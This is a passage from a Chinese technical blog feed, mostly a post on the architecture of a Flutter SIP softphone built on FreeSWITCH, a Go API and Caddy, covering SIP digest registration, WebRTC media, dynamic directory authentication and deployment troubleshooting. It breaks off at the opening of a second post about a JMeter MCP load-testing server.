Ringing</code>（对端正在响铃）、<code>183 Session Progress</code>（媒体早期彩铃协商）；</li><li><strong><code>2xx</code> 成功</strong>：<code>200 OK</code>（呼叫接通&#x2F;操作成功）；</li><li><strong><code>4xx</code> 客户端失败</strong>：<code>403 Forbidden</code>（禁止）、<code>486 Busy Here</code>（对方占线）；</li><li><strong><code>5xx / 6xx</code> 服务端与全局错误</strong>：<code>503 Service Unavailable</code>、<code>603 Decline</code>（对方明确拒接）。</li></ul><p>特别需要强调：**<code>401 Unauthorized</code> 在 SIP 注册中是必经的正常流程，绝非系统错误！**</p><p>SIP 采用了同 HTTP 相同的摘要认证（Digest Authentication）：</p><ol><li>客户端第一次发送裸 <code>REGISTER</code> 请求；</li><li>服务器拒绝并返回 <code>401 Unauthorized</code>，在响应头 <code>WWW-Authenticate</code> 中附带随机密钥串 <code>nonce</code> 与认证域 <code>realm</code>；</li><li>客户端利用本地保存的密码与 <code>nonce</code> 计算 MD5 摘要，重新发送携带 <code>Authorization</code> 头的 <code>REGISTER</code>；</li><li>服务器验证摘要一致，返回 <code>200 OK</code>，注册成功。</li></ol><div style="max-width: 650px; margin: 20px auto; overflow-x: auto;"><pre><code class=" mermaid">sequenceDiagram    participant Client as &quot;App 客户端&quot;    participant FS as &quot;FreeSWITCH (服务端)&quot;    Client-&gt;&gt;FS: 1. 发送 SIP REGISTER (无认证凭据)    FS--&gt;&gt;Client: 2. 返回 401 Unauthorized (附带 realm 与 nonce 挑战参数)    Client-&gt;&gt;FS: 3. 重新发送 REGISTER (附带基于密码计算的 Digest MD5 摘要)    FS--&gt;&gt;Client: 4. 返回 200 OK (摘要校验通过，注册成功)</code></pre></div><h3 id="1-3-信令与媒体分离机制（Signaling-vs-Media）"><a href="#1-3-信令与媒体分离机制（Signaling-vs-Media）" class="headerlink" title="1.3 信令与媒体分离机制（Signaling vs Media）"></a>1.3 信令与媒体分离机制（Signaling vs Media）</h3><p>通信系统中最重要的设计模式就是<strong>控制面（信令）与数据面（媒体）彻底解耦</strong>：</p><div style="max-width: 650px; margin: 20px auto; overflow-x: auto;"><pre><code class=" mermaid">flowchart TD    SIP[&quot;SIP 信令控制层 (WSS / TLS)&lt;br/&gt;负责寻址、呼叫邀请、振铃协商、鉴权、挂断&quot;]    SDP[&quot;SDP 会话描述协议 (信令载荷 Body)&lt;br/&gt;协商 IP 地址、媒体端口、Opus 编码优先级、DTLS 指纹&quot;]    RTP[&quot;WebRTC / SRTP 媒体层 (UDP 端口池)&lt;br/&gt;实时传输经端到端加密的高保真语音数据采样包&quot;]    SIP --&gt;|&quot;报文携带 SDP 协商载荷&quot;| SDP    SDP --&gt;|&quot;参数协商达成一致后建立数据通道&quot;| RTP</code></pre></div><ul><li><strong>信令层</strong>：通过 SIP 报文完成寻址和状态扭转；</li><li><strong>协商层（SDP，RFC 4566）</strong>：SIP 报文的正文是 SDP 文本，里面声明了本端的 IP、端口、音频格式优先级（如 Opus、G.711 PCMU&#x2F;A）、加密指纹（DTLS 指纹）等；</li><li><strong>媒体层（RTP &#x2F; WebRTC）</strong>：双方协商完毕后，建立高速 UDP 数据通道，语音流直接通过 RTP&#x2F;SRTP 传送，不再占用信令信道。</li></ul><hr><h2 id="二、-什么是-safarov-freeswitch？"><a href="#二、-什么是-safarov-freeswitch？" class="headerlink" title="二、 什么是 safarov/freeswitch？"></a>二、 什么是 <code>safarov/freeswitch</code>？</h2><p>在软电话架构中，我们需要一台“交换机”（PBX &#x2F; 软交换系统）来负责分机状态维护、呼叫路由、信令转接与音视频转码。而 <strong>FreeSWITCH</strong> 就是当今开源界最成熟、性能最强悍的电信级 B2BUA（背对背用户代理）软交换核心。</p><p>但在实际落地中，如果你去从零源码编译 FreeSWITCH，极大概率会陷入“依赖地狱”：</p><ul><li>官方源网络受限，SignalWire 接入需要商业凭据与认证 Token；</li><li>涉及 WebRTC、OpenSSL、Libwebsockets、Opus、Spandsp 等几十个底层音视频 C&#x2F;C++ 依赖库的编译；</li><li>平台环境差异（CentOS、Ubuntu、Debian）极易导致动态链接库符号冲突。</li></ul><p>这正是我们选用 <strong><code>safarov/freeswitch</code></strong> Docker 镜像的原因。</p><h3 id="2-1-为什么选择-safarov-freeswitch？"><a href="#2-1-为什么选择-safarov-freeswitch？" class="headerlink" title="2.1 为什么选择 safarov/freeswitch？"></a>2.1 为什么选择 <code>safarov/freeswitch</code>？</h3><ol><li><strong>官方与社区事实上的标准</strong>：<br>由 FreeSWITCH 资深维护者 Sergey Safarov 长期维护，是 Docker Hub 上下载量最多、成熟度最高的预编译镜像（Debian 基础底座）。</li><li><strong>WebRTC 模块开箱即用</strong>：<br>原生集成了对现代软电话至关重要的核心模块：<ul><li><code>mod_sofia</code>：SIP 协议栈核心实现；</li><li><code>mod_xml_curl</code>：支持通过 HTTP&#x2F;RESTful 动态获取配置文件和分机目录（整套系统无静态配置的核心基石）；</li><li><code>mod_opus</code>：默认开启当今音质最好、弱网抗性最强的 Opus 语音编解码器；</li><li><code>mod_verto</code> &#x2F; <code>mod_rtc</code>：完备的 WebRTC DTLS-SRTP 媒体转码能力。</li></ul></li><li><strong>极简运维与编排</strong>：<br>配合 Docker Compose，仅需挂载定制的 <code>/etc/freeswitch</code> 配置目录卷，就能在单台服务器或本地开发机上一键拉起生产级别的电信交换服务，避免数十小时的源码编译泥潭。</li></ol><hr><h2 id="三、-系统总体架构设计"><a href="#三、-系统总体架构设计" class="headerlink" title="三、 系统总体架构设计"></a>三、 系统总体架构设计</h2><p>本项目遵循 <strong>前后端分离、信令与媒体解耦、无状态交换网关</strong> 的现代化云原生架构。</p><h3 id="3-1-架构拓扑图"><a href="#3-1-架构拓扑图" class="headerlink" title="3.1 架构拓扑图"></a>3.1 架构拓扑图</h3><div style="max-width: 650px; margin: 20px auto; overflow-x: auto;"><pre><code class=" mermaid">flowchart TB    subgraph app[&quot;Flutter App (客户端)&quot;]        UI[&quot;UI 层 (拨号盘 / 通话 / 历史 / 账号)&quot;]        ENGINE[&quot;UaCallEngine (SIP 状态机)&quot;]        DBL[(&quot;drift SQLite (本地话单缓存)&quot;)]    end    subgraph gateway[&quot;Caddy 网关 (TLS)&quot;]        R1[&quot;HTTPS :443/sipapi/* -&gt; Go API&quot;]        R2[&quot;WSS :443/ws -&gt; FreeSWITCH (5066)&quot;]    end    subgraph core[&quot;Docker 核心网络&quot;]        FS[&quot;FreeSWITCH (5066 WS / 7443 WSS / RTP)&quot;]        API[&quot;Go API (JWT 鉴权 / 分机分配 / 目录回调)&quot;]        MYSQL[(&quot;MySQL 8.0 数据库&quot;)]    end    UI --&gt; ENGINE    UI --&gt; DBL    ENGINE --&gt; R2    R2 --&gt; FS    FS --&gt; ENGINE    UI --&gt; R1    R1 --&gt; API    API --&gt; MYSQL    FS --&gt; API</code></pre></div><h3 id="3-2-模块职责分工"><a href="#3-2-模块职责分工" class="headerlink" title="3.2 模块职责分工"></a>3.2 模块职责分工</h3><table><thead><tr><th align="left">组件名称</th><th align="left">核心技术栈</th><th align="left">核心职责与设计原则</th></tr></thead><tbody><tr><td align="left"><strong>Flutter 客户端</strong></td><td align="left">Flutter, Riverpod, <code>sip_ua</code>, <code>flutter_webrtc</code>, <code>drift</code>, <code>go_router</code></td><td align="left">提供极简美观的跨平台软电话体验；负责本地 SIP 状态驱动、音频硬件控制、离线数据库缓存与高优先级通知保活。</td></tr><tr><td align="left"><strong>FreeSWITCH 交换机</strong></td><td align="left"><code>safarov/freeswitch:latest</code> (<code>mod_sofia</code>, <code>mod_xml_curl</code>)</td><td align="left">纯粹的无状态 SIP 交换节点与媒体代理；不保存任何静态分机文件，所有认证实时回调外部 API。</td></tr><tr><td align="left"><strong>Go 业务 API</strong></td><td align="left">Go 1.23, Gin, GORM, bcrypt, golang-jwt</td><td align="left">处理业务账号体系、JWT 发放、分机号并发安全分配；作为 FreeSWITCH 的 <code>xml_curl</code> 认证提供端。</td></tr><tr><td align="left"><strong>MySQL 数据库</strong></td><td align="left">MySQL 8.0 (InnoDB)</td><td align="left">统一持久化存储用户账号、SIP 密码与通话记录，提供全局唯一约束兜底。</td></tr><tr><td align="left"><strong>Caddy 网关</strong></td><td align="left">Caddy v2 (自动 TLS + WebSocket 反代)</td><td align="left">统一证书管理；公网 443 统一收敛；严格隔离内网鉴权接口。</td></tr></tbody></table><hr><h2 id="四、-核心业务链路时序剖析"><a href="#四、-核心业务链路时序剖析" class="headerlink" title="四、 核心业务链路时序剖析"></a>四、 核心业务链路时序剖析</h2><h3 id="4-1-动态目录认证注册链路（App-上线）"><a href="#4-1-动态目录认证注册链路（App-上线）" class="headerlink" title="4.1 动态目录认证注册链路（App 上线）"></a>4.1 动态目录认证注册链路（App 上线）</h3><p>与传统需要在交换机写死配置不同，本系统的分机信息完全保存在 MySQL 中：</p><div style="max-width: 650px; margin: 20px auto; overflow-x: auto;"><pre><code class=" mermaid">sequenceDiagram    autonumber    participant Client as &quot;App 客户端&quot;    participant FS as &quot;FreeSWITCH&quot;    participant API as &quot;Go API&quot;    participant DB as &quot;MySQL 数据库&quot;    Client-&gt;&gt;FS: 1. 发起 SIP REGISTER (分机 1002，无密码)    Note over FS: 触发 mod_xml_curl 规则    FS-&gt;&gt;API: 2. POST /api/v1/fsw/directory (user=1002)    API-&gt;&gt;DB: 3. 查询 sip_accounts 表    DB--&gt;&gt;API: 4. 返回分机记录与密码    API--&gt;&gt;FS: 5. 返回用户 XML (含 password 密码参数)    FS--&gt;&gt;Client: 6. 401 Unauthorized (附带 realm 与 nonce 挑战)    Client-&gt;&gt;FS: 7. 重新发起 REGISTER (携带 Digest MD5 摘要)    Note over FS: FreeSWITCH 本地比对摘要成功    FS--&gt;&gt;Client: 8. 200 OK (注册成功，会话建立)</code></pre></div><h4 id="核心注册阶段拆解"><a href="#核心注册阶段拆解" class="headerlink" title="核心注册阶段拆解"></a>核心注册阶段拆解</h4><table><thead><tr><th align="left">交互阶段</th><th align="left">动作与通信流向</th><th align="left">协议载荷与鉴权机制</th></tr></thead><tbody><tr><td align="left"><strong>1. 首发注册</strong></td><td align="left"><code>App ➔ FreeSWITCH ➔ Go API</code></td><td align="left">客户端发起无凭证 <code>REGISTER</code>；FS 拦截并通过 <code>mod_xml_curl</code> 触发 POST 查库</td></tr><tr><td align="left"><strong>2. 认证挑战</strong></td><td align="left"><code>Go API ➔ FreeSWITCH ➔ App</code></td><td align="left">Go API 查库返回目录 XML（含密码）；FS 下发 <code>401 Unauthorized</code>（附带 realm 与 nonce）</td></tr><tr><td align="left"><strong>3. 摘要确认</strong></td><td align="left"><code>App ➔ FreeSWITCH</code></td><td align="left">客户端利用本地密码与 nonce 现场计算 Digest MD5 重发；FS 校验成功返回 <code>200 OK</code> 完成注册</td></tr></tbody></table><h3 id="4-2-呼叫与-WebRTC-媒体建立链路（通话建立）"><a href="#4-2-呼叫与-WebRTC-媒体建立链路（通话建立）" class="headerlink" title="4.2 呼叫与 WebRTC 媒体建立链路（通话建立）"></a>4.2 呼叫与 WebRTC 媒体建立链路（通话建立）</h3><div style="max-width: 650px; margin: 20px auto; overflow-x: auto;"><pre><code class=" mermaid">sequenceDiagram    autonumber    participant Alice as &quot;主叫 Alice&quot;    participant FS as &quot;FreeSWITCH&quot;    participant Bob as &quot;被叫 Bob&quot;    Alice-&gt;&gt;FS: 1. 发起 SIP INVITE (携带本地 SDP 与媒体指纹)    FS-&gt;&gt;Bob: 2. 查找在线分机 1002，桥接发送 INVITE    Bob--&gt;&gt;FS: 3. 180 Ringing (被叫振铃)    FS--&gt;&gt;Alice: 4. 180 Ringing (主叫听到回铃音)    Bob-&gt;&gt;FS: 5. 用户接听，发送 200 OK (携带被叫 SDP)    FS--&gt;&gt;Alice: 6. 转发 200 OK (完成双方媒体参数协商)    Alice-&gt;&gt;FS: 7. 发送 ACK 确认    FS-&gt;&gt;Bob: 8. 转发 ACK 确认    Note over Alice,Bob: 媒体建立！双向 DTLS-SRTP 语音流 (UDP 16384-16404)    Alice--&gt;&gt;Bob: 语音通话中 (双向 RTP 传输)    Alice-&gt;&gt;FS: 9. 点击挂断，发送 BYE    FS-&gt;&gt;Bob: 10. 转发 BYE    Bob--&gt;&gt;Alice: 11. 200 OK (会话安全关闭)</code></pre></div><h4 id="核心通话建立拆解"><a href="#核心通话建立拆解" class="headerlink" title="核心通话建立拆解"></a>核心通话建立拆解</h4><table><thead><tr><th align="left">通话阶段</th><th align="left">动作与通信流向</th><th align="left">协议载荷与媒体协商</th></tr></thead><tbody><tr><td align="left"><strong>1. 呼叫发起</strong></td><td align="left"><code>主叫 Alice ➔ FS ➔ 被叫 Bob</code></td><td align="left">Alice 发起 SIP <code>INVITE</code>，载荷为本端音频能力的 SDP Offer；FS 检索在线分机并桥接转呼 Bob</td></tr><tr><td align="left"><strong>2. 振铃响应</strong></td><td align="left"><code>被叫 Bob ➔ FS ➔ 主叫 Alice</code></td><td align="left">Bob 客户端振铃并返回 <code>180 Ringing</code>；FS 转送 Alice 触发本地回铃音</td></tr><tr><td align="left"><strong>3. 接听应答</strong></td><td align="left"><code>被叫 Bob ➔ FS ➔ 主叫 Alice</code></td><td align="left">Bob 点击接听返回 <code>200 OK</code> (含被叫 SDP)；Alice 发送 <code>ACK</code> 确认完成三次握手</td></tr><tr><td align="left"><strong>4. 语音互通</strong></td><td align="left"><code>Alice ⮂ (DTLS-SRTP) ⮂ Bob</code></td><td align="left">WebRTC 媒体通道就绪，双向传输经端到端加密的高保真 Opus 音频流（UDP 16384-16404）</td></tr><tr><td align="left"><strong>5. 挂断终态</strong></td><td align="left"><code>任意一方 ➔ FS ➔ 对端</code></td><td align="left">用户点击挂断发送 <code>BYE</code>，对端确认 <code>200 OK</code>；双方断开媒体流，本地 SQLite 瞬时落库并异步上报话单</td></tr></tbody></table><hr><h2 id="五、-为什么这样实现？——-架构选型与深度权衡"><a href="#五、-为什么这样实现？——-架构选型与深度权衡" class="headerlink" title="五、 为什么这样实现？—— 架构选型与深度权衡"></a>五、 为什么这样实现？—— 架构选型与深度权衡</h2><p>技术选型不仅是罗列框架，更是面对现实约束时的工程权衡。本节详细阐述为什么选择这套架构，以及它解决了哪些经典工程痛点。</p><h3 id="5-1-为什么用-WebRTC-代替传统的“裸-RTP”？"><a href="#5-1-为什么用-WebRTC-代替传统的“裸-RTP”？" class="headerlink" title="5.1 为什么用 WebRTC 代替传统的“裸 RTP”？"></a>5.1 为什么用 WebRTC 代替传统的“裸 RTP”？</h3><p>在传统 VoIP（如早期 IP 话机）中，SIP 呼叫建立后，两端直接开放随机 UDP 端口跑裸 RTP 流。但在现代移动互联网环境下，裸 RTP 会遭遇致命痛点：</p><ol><li><strong>极其脆弱的 NAT 穿透与“单通&#x2F;断流”</strong>：<br>手机连接的是运营商 4G&#x2F;5G 复杂的对称 NAT（Symmetric NAT）或家庭路由器防火墙。两台手机如果直接直连发送 UDP，防火墙根本不允许外部未打洞的包入站，导致<strong>“电话打通了但听不到声音（单通）”</strong>甚至完全无声。</li><li><strong>缺乏加密，存在巨大窃听风险</strong>：<br>传统 RTP 是纯明文，中间路由器任何抓包工具都可以直接重现语音内容。</li><li><strong>移动端声学处理极其复杂</strong>：<br>手机通话必须要处理<strong>回声消除（AEC）、噪声抑制（ANS）、自动增益（AGC）</strong>，否则扬声器播放出来的声音会再次被麦克风录制回传，造成尖锐刺耳的啸叫或回音。</li></ol><p><strong>WebRTC 的降维打击优势</strong>：</p><ul><li><strong>DTLS-SRTP 默认安全</strong>：所有媒体传输在传输层强制进行端到端加密；</li><li><strong>ICE &#x2F; STUN 完善打洞</strong>：集成完整的交互式连通性建立（Interactive Connectivity Establishment），自动探测公网反射地址；</li><li><strong>专业级声学引擎</strong>：<code>flutter_webrtc</code> 底层使用的是 Google 开源的 WebRTC 原生 C++ 音视频引擎，自动调优系统的硬件回声消除与防抖动缓冲（Jitter Buffer），在极高丢包率下依然维持语音可懂度。</li></ul><h3 id="5-2-为什么用-SIP-over-WebSocket-WSS-代替-UDP-TCP-5060？"><a href="#5-2-为什么用-SIP-over-WebSocket-WSS-代替-UDP-TCP-5060？" class="headerlink" title="5.2 为什么用 SIP over WebSocket (WSS) 代替 UDP&#x2F;TCP 5060？"></a>5.2 为什么用 SIP over WebSocket (WSS) 代替 UDP&#x2F;TCP 5060？</h3><p>传统 SIP 默认监听在 UDP 5060 端口。但在移动 App 上采用纯 UDP 5060 会面临灾难性后果：</p><ul><li><strong>运营商封锁与 QoS 降级</strong>：很多公共 Wi-Fi、公司局域网甚至移动运营商的基站网关，出于安全防范直接阻断非 HTTP 端口或将 5060 端口降级丢弃；</li><li><strong>NAT 映射过快老化</strong>：UDP 穿透建立的虚拟映射在路由器上通常只有 30 秒寿命，一旦手机进入锁屏或稍无心跳，链路就被路由器无情斩断，导致来电根本推不下来；</li><li><strong>TLS 证书标准化</strong>：WSS（WebSocket Secure）运行在标准 TLS 之上（复用 443 或专属 7443 端口），流量外观与普通安全 Web 流量毫无二致，天然穿透各类防火墙，同时彻底杜绝了信令被窃听和中间人篡改。</li></ul><h3 id="5-3-为什么用-mod-xml-curl-动态目录？"><a href="#5-3-为什么用-mod-xml-curl-动态目录？" class="headerlink" title="5.3 为什么用 mod_xml_curl 动态目录？"></a>5.3 为什么用 <code>mod_xml_curl</code> 动态目录？</h3><p><strong>痛点场景</strong>：<br>在传统 FreeSWITCH 部署中，增加一个分机 1001，管理员需要登录服务器，在 <code>/etc/freeswitch/directory/default/</code> 目录下创建一个 <code>1001.xml</code> 文件，写死用户名和密码，然后进入 <code>fs_cli</code> 执行 <code>reloadxml</code>。<br>这在互联网业务中完全不可行 —— <strong>用户可能每秒都在注册，难道每注册一个用户就要写一次服务器磁盘并重载全量 XML？</strong> 这会导致巨大的 I&#x2F;O 竞争与交换服务卡顿。</p><p><strong>动态目录（<code>mod_xml_curl</code>）的破局点</strong>：</p><ul><li><strong>完全解耦与无状态</strong>：FreeSWITCH 内部一张分机表都不存，只充当“计算与转发管道”。每当收到注册，它把请求交给 Go API 接口；</li><li><strong>“数据库即目录”</strong>：Go API 直接查 MySQL，有则返回 XML，无则返回 404 XML。</li><li><strong>瞬时生效</strong>：用户刚刚在 App 上注册成功，秒级内就可以直接发起 SIP 注册，无需重启任何服务，零同步成本。</li></ul><h3 id="5-4-为什么动态目录接口返回明文密码，而不是预计算的-a1-hash？"><a href="#5-4-为什么动态目录接口返回明文密码，而不是预计算的-a1-hash？" class="headerlink" title="5.4 为什么动态目录接口返回明文密码，而不是预计算的 a1-hash？"></a>5.4 为什么动态目录接口返回明文密码，而不是预计算的 <code>a1-hash</code>？</h3><p>这是在开发此类系统时极容易踩中、并导致连续几天毫无头绪的隐蔽陷阱！</p><p>根据 SIP 规范，用户密码在服务器端可以存成哈希值 <code>a1-hash = MD5(username:realm:password)</code>，这样服务器不需要知道明文。很多人第一反应是“为了安全，Go API 查库后应该只给 FreeSWITCH a1-hash”。</p><p><strong>但这里有一个深层冲突</strong>：</p><ul><li>FreeSWITCH 的 profile 通常配置了 <code>challenge-realm=auto_from</code>，即<strong>挑战认证域（realm）是动态的</strong>，它跟随客户端发起 <code>REGISTER</code> 报文头中的域名或 IP（例如客户端如果在局域网填 <code>192.168.1.10</code>，realm 就是 <code>192.168.1.10</code>；如果在模拟器中填 <code>10.0.2.2</code>，realm 就是 <code>10.0.2.2</code>；生产环境则是 <code>api.example.com</code>）；</li><li>如果 Go API 返回 <code>a1-hash</code>，这个哈希值必须在写入数据库前绑定一个固定的 realm。一旦客户端连接使用的 host 发生变化，两端计算的 MD5 输入不一致，就会<strong>永远鉴权失败，报 401&#x2F;403</strong>！</li><li><strong>正确做法</strong>：Go 内部为每个分配的分机生成 20 位高强度随机密码存入库中，<code>fsw/directory</code> 接口将明文密码通过 XML 喂给 FreeSWITCH。FreeSWITCH 接收到后，<strong>利用当前请求真实的 realm 现场计算 MD5 进行动态校验</strong>，完美兼容任意复杂的网络接入拓扑。</li><li><strong>安全边界保障</strong>：该接口只下发 SIP 随机密码（非用户登录密码），且<strong>强制绑定内网 Docker 容器间通信</strong>，在反向代理（Caddy）层直接对公网路由 <code>/api/v1/fsw/*</code> 施加严格的 403 阻断，外部公网绝不可达。</li></ul><h3 id="5-5-为什么话单采用“离线优先（Offline-first）”双向同步？"><a href="#5-5-为什么话单采用“离线优先（Offline-first）”双向同步？" class="headerlink" title="5.5 为什么话单采用“离线优先（Offline-first）”双向同步？"></a>5.5 为什么话单采用“离线优先（Offline-first）”双向同步？</h3><p>在移动端做 VoIP，网络环境极其脆弱：用户可能在地下车库、电梯或者移动切换基站的瞬间挂断通话。</p><p>如果采用传统的“通话结束立刻发 HTTP 请求给服务器记录”：</p><ul><li>一旦此时断网，HTTP 抛出异常，<strong>话单在客户端与服务端彻底永久丢失</strong>；</li><li>如果重试机制设计不当，网络恢复后可能多次重发，导致生成重复账单。</li></ul><p><strong>本项目采用的工业级解法（<code>sync_repository.dart</code>）</strong>：</p><div style="max-width: 650px; margin: 20px auto; overflow-x: auto;"><pre><code class=" mermaid">flowchart TD    STEP1[&quot;通话终态触发 (Hangup / Failed / Missed)&quot;]    STEP2[&quot;1. 瞬时持久化至本地 SQLite (Drift 缓存)&lt;br/&gt;置 pushed=false, serverId=null (断网/闪退零丢单)&quot;]    STEP3[&quot;2. 触发 pushPending 异步后台任务&lt;br/&gt;扫描未推送记录，向 Go API 发起 POST /calls 上报&quot;]    DECIDE&#123;&quot;服务端返回结果&quot;&#125;    SUCCESS[&quot;回填 serverId 并置 pushed=true&lt;br/&gt;标记话单已成功同步云端&quot;]    FAIL[&quot;保留 pushed=false 静默留存&lt;br/&gt;待网络恢复或进入列表时自动重试&quot;]    STEP4[&quot;3. pullMerge 服务端游标分页下拉合并&lt;br/&gt;基于特征三元组智能关联回填，避免数据重复&quot;]    STEP1 --&gt; STEP2    STEP2 --&gt; STEP3    STEP3 --&gt; DECIDE    DECIDE --&gt;|&quot;HTTP 200 成功&quot;| SUCCESS    DECIDE --&gt;|&quot;网络异常/超时&quot;| FAIL    SUCCESS --&gt; STEP4    FAIL --&gt; STEP4</code></pre></div><hr><h2 id="六、-生产级踩坑排查实录（经验总结）"><a href="#六、-生产级踩坑排查实录（经验总结）" class="headerlink" title="六、 生产级踩坑排查实录（经验总结）"></a>六、 生产级踩坑排查实录（经验总结）</h2><p>在整套系统的打通与落地过程中，我们总结了几个最关键的“排错大坑”，供同行参考：</p><h3 id="1-FreeSWITCH-报-403-Can-t-register-a-pointer"><a href="#1-FreeSWITCH-报-403-Can-t-register-a-pointer" class="headerlink" title="1. FreeSWITCH 报 403 Can&#39;t register a pointer"></a>1. FreeSWITCH 报 <code>403 Can&#39;t register a pointer</code></h3><ul><li><strong>现象</strong>：客户端配置的分机号与密码确认无误，但无论如何注册都返回 403，日志显示命中静态 pointer 占位符。</li><li><strong>根因</strong>：FreeSWITCH 内部带有一套默认的 vanilla 样例配置，里面把 1000-1014 声明为了外部指针。当容器名变更（如从 <code>go-api</code> 改为 <code>sip-api</code>）导致 <code>xml_curl.conf.xml</code> 里的 URL 无法解析时，<strong>FreeSWITCH 不会向上抛错，而是静默回退使用本地静态文件</strong>，从而抛出无法注册 pointer 的诡异错误。</li><li><strong>解法</strong>：保证 Docker Compose 网络内服务别名与 <code>gateway-url</code> 绝对一致；在 Go 动态目录中补充 domain 接管模板，彻底切断静态目录回退。</li></ul><h3 id="2-Android-14-麦克风前台服务闪退（拨打瞬间-Crash）"><a href="#2-Android-14-麦克风前台服务闪退（拨打瞬间-Crash）" class="headerlink" title="2. Android 14+ 麦克风前台服务闪退（拨打瞬间 Crash）"></a>2. Android 14+ 麦克风前台服务闪退（拨打瞬间 Crash）</h3><ul><li><strong>现象</strong>：在 Android 14 (API 34) 模拟器或真机上，刚点击呼叫或刚完成注册，应用直接闪退杀死。</li><li><strong>根因</strong>：Android 14 引入了极其严格的前台服务管控。如果应用在 <code>AndroidManifest.xml</code> 中声明了 <code>foregroundServiceType=&quot;microphone&quot;</code>，<strong>系统要求在启动前台服务之前，必须已经在前台显式获得了系统的麦克风运行时权限（<code>RECORD_AUDIO</code>）</strong>；如果在尚未授权的状态下强行启动前台保活服务，系统底层会直接抛出 <code>SecurityException</code> 强制 Crash 终止进程。</li><li><strong>解法</strong>：启动流程与权限状态强关联，在用户首次进入拨号盘或启动服务前前置鉴权，未取得麦克风权限时降级启动无特殊类型的保活通知，待拨号前拦截申请，授权后再挂载录音管道。</li></ul><h3 id="3-Caddyfile-单文件挂载的-Inode-陷阱"><a href="#3-Caddyfile-单文件挂载的-Inode-陷阱" class="headerlink" title="3. Caddyfile 单文件挂载的 Inode 陷阱"></a>3. Caddyfile 单文件挂载的 Inode 陷阱</h3><ul><li><strong>现象</strong>：在宿主机上修改了 Caddy 的配置文件，但网关反代路由依然不生效。</li><li><strong>根因</strong>：在 Linux&#x2F;Windows 上，很多编辑器（或 <code>mv</code> 命令）保存文件时采用的是“写新临时文件 + 原子重命名覆盖”，这会导致原文件的 Inode 发生改变。而 Docker 的单文件 <code>bind mount</code> 绑定的是底层的 Inode 引用，外部改动后容器内读取的依旧是旧文件的物理块。</li><li><strong>解法</strong>：原地覆写（<code>cat new.conf &gt; caddy.conf</code>）或者直接挂载配置所在的上层目录，而非挂载单个孤立文件。</li></ul><hr><h2 id="七、-结语与开源"><a href="#七、-结语与开源" class="headerlink" title="七、 结语与开源"></a>七、 结语与开源</h2><p>构建一套稳定高可用的 SIP 软电话，绝非简单拼接几个开源库，它涉及信令状态机的高内聚收敛、WebRTC 底层音频流的高效捕获、边缘反代与交换网关的动态鉴权编排，以及移动端恶劣弱网环境下的离线容错设计。</p><p>本项目以最小的资源代价（单台轻量云服务器即可轻松支撑上百路并发语音），打通了现代移动端（Flutter）与传统电信通信（FreeSWITCH）的边界，实现了全流程无状态、全动态扩容的云原生软电话架构。</p><p>本项目全部代码均已开源：</p><ul><li><strong>项目仓库</strong>：<a href="https://github.com/NowPion/SIP_terminal">GitHub - NowPion&#x2F;SIP_terminal</a></li><li><strong>核心组件</strong>：<ul><li><code>sip_terminal_app/</code>：Flutter Android 软电话 App</li><li><code>server/</code>：Go 1.23 RESTful API &amp; 动态目录服务</li><li><code>deploy/</code>：FreeSWITCH 与 Docker 快速部署编排配置</li></ul></li></ul><p>欢迎在实际业务落地、企业内部私有通信调度、SIP 协议深入研究中交流探讨与提出 Issue！</p><script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script><script>mermaid.initialize({startOnLoad:true,theme:'default',securityLevel:'loose'});</script>]]>
      </content:encoded>
    </item>
    <item>
      <title>AI 调用 JMeter 自动化压测</title>
      <link>https://blog.newpon.top/2026/09/10/AI%E8%B0%83%E7%94%A8JMeter%E5%8E%8B%E6%B5%8B/</link>
      <description>深度重构并开源 jmeter-mcp-server，基于模型上下文协议（MCP）将 Apache JMeter 改造为 AI 原生自动化压测服务，打通 AI 与性能测试壁垒。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/MCP/">MCP</category>
      <category domain="https://blog.newpon.top/tags/JMeter/">JMeter</category>
      <category domain="https://blog.newpon.top/tags/%E6%80%A7%E8%83%BD%E6%B5%8B%E8%AF%95/">性能测试</category>
      <category domain="https://blog.newpon.top/tags/%E8%87%AA%E5%8A%A8%E5%8C%96%E5%8E%8B%E6%B5%8B/">自动化压测</category>
      <category domain="https://blog.newpon.top/tags/AI/">AI</category>
      <pubDate>Thu, 10 Sep 2026 03:35:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>传统的性能测试工具链是出了名的重。</p><p>尤其是 Apache JMeter，每次为了测一个接口，先得打开启动奇慢的 Java Swing GUI 界面，手动去建线程组、HTTP 请求、添加 HTTP 信息头管理器、Cookie 管理器、配置察看结果树和聚合报告。改一个参数就要一层层展开树形目录去改，哪怕是在命令行用非 GUI 模式跑，生成出来的要么是几百兆的原始 JTL，要么是生成一个包含成百上千个 HTML&#x2F;JS&#x2F;CSS 静态文件的笨重报告目录。</p><p>现在大模型能力这么强，我们能不能直接跟 AI 说：“<strong>帮我对这个接口压测 50 QPS，持续 30 秒，看看响应时间分布和瓶颈在哪里</strong>”？</p><p>以前很难，因为：</p><ol><li><strong>AI 调不动 JMeter</strong>：没有统一的标准化通信接口。</li><li><strong>AI 看不懂压测报告</strong>：JMeter 原生的 HTML Dashboard 文件结构太复杂、体积太大，AI 根本没办法全文检索或直接阅读。</li><li><strong>容易挂死</strong>：一旦目标站点出现极端网络超时、SSL 握手挂起，JMeter 默认无限等待超时，容易把压测进程和测试环境直接拖垮，而且缺少急停手段。</li></ol><p>为了彻底打通 AI 与性能测试的壁垒，这里深度重构并开源了 <strong>jmeter-mcp-server</strong>，基于 Model Context Protocol（模型上下文协议，简称 MCP）将 Apache JMeter 全面改造为 AI 原生的性能测试服务。</p><p>开源仓库地址：</p><ul><li>GitHub: <a href="https://github.com/NowPion/jmeter-mcp-server">https://github.com/NowPion/jmeter-mcp-server</a></li><li>Gitee: <a href="https://gitee.com/niezidong/jmeter-mcp-server">https://gitee.com/niezidong/jmeter-mcp-server</a></li></ul><p>项目致谢：本项目基于 NaveenKumar Namachivayam (QAInsights) 开源的 <code>jmeter-mcp-server</code> 进行了架构重构、生产级加固与特性扩展。</p><hr><h2 id="核心能力与升级亮点"><a href="#核心能力与升级亮点" class="headerlink" title="核心能力与升级亮点"></a>核心能力与升级亮点</h2><h3 id="1-动态-JMX-计划生成（免-GUI、全自动组装）"><a href="#1-动态-JMX-计划生成（免-GUI、全自动组装）" class="headerlink" title="1. 动态 JMX 计划生成（免 